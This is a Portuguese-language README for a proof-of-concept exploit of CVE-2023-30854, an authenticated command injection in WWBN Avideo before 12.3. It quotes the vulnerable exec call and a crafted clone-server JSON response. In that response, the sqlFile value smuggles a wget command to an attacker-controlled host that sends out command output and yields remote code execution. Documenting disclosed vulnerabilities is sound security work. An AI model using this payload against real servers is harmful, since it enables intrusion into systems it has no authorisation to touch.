jmrcsnchz/cve-2023-30854Exploit de prova de conceito para CVE-2023-30854: injeção autenticada de comandos do SO no WWBN Avideo < 12.3, permitindo execução remota de código por meio de uma resposta de servidor clone manipulada.
CVE-2023-30854 WWBN Avideo < 12.3 RCE Autenticado
Uma vulnerabilidade de Injeção de Comandos do SO em um endpoint autenticado /plugin/CloneSite/cloneClient.json.php permite que atacantes obtenham Execução Remota de Código.
Código vulnerável:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
Podemos controlar $objClone->cloneSiteURL através da funcionalidade de clonagem de site do painel de administração.
/plugin/CloneSite/cloneClient.json.php envia uma requisição GET para {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. Hospedei um cloneServer.json.php especialmente criado que imprime os seguintes dados JSON
{"error":false,"msg":"","url":"https:\/\/REDACTED\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}
Envie uma requisição GET para /plugin/CloneSite/cloneClient.json.php e a execução remota de código é alcançada.
